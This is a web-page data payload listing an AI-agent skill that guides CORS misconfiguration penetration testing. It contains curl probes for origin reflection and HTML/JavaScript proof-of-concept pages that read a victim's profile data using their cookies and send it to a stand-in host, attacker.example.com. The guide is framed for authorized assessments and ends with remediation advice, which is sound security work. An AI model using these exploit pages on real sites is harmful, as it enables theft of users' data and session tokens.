[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ETGP013ERAE7YS463R802X":3,"skill-same:01M7ETGP013ERAE7YS463R802X":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7ETGP013ERAE7YS463R802X","testing-cors-misconfiguration",null,"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Ftesting-cors-misconfiguration\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-cors-misconfiguration\ndescription: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations\n  that allow unauthorized cross-domain data access and credential theft during security\n  assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- cors\n- web-security\n- owasp\n- same-origin-policy\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1003\n---\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n","# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":39,"description":7,"mitre_attack":40},[25,26,27,28,29,30],"penetration-testing","cors","web-security","owasp","same-origin-policy","burpsuite","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[41,42,43,44,45],"T1190","T1059.007","T1505.003","T1083","T1003","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Ftesting-cors-misconfiguration",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill testing-cors-misconfiguration",{"tool":60,"command":61},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill testing-cors-misconfiguration",{"tool":63,"command":64},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill testing-cors-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Ftesting-cors-misconfiguration\u002FSKILL.md",true,[68],{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",2188,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Ftesting-cors-misconfiguration\u002Freferences\u002Fapi-reference.md",[75,84,89,96,103,110],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":83},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 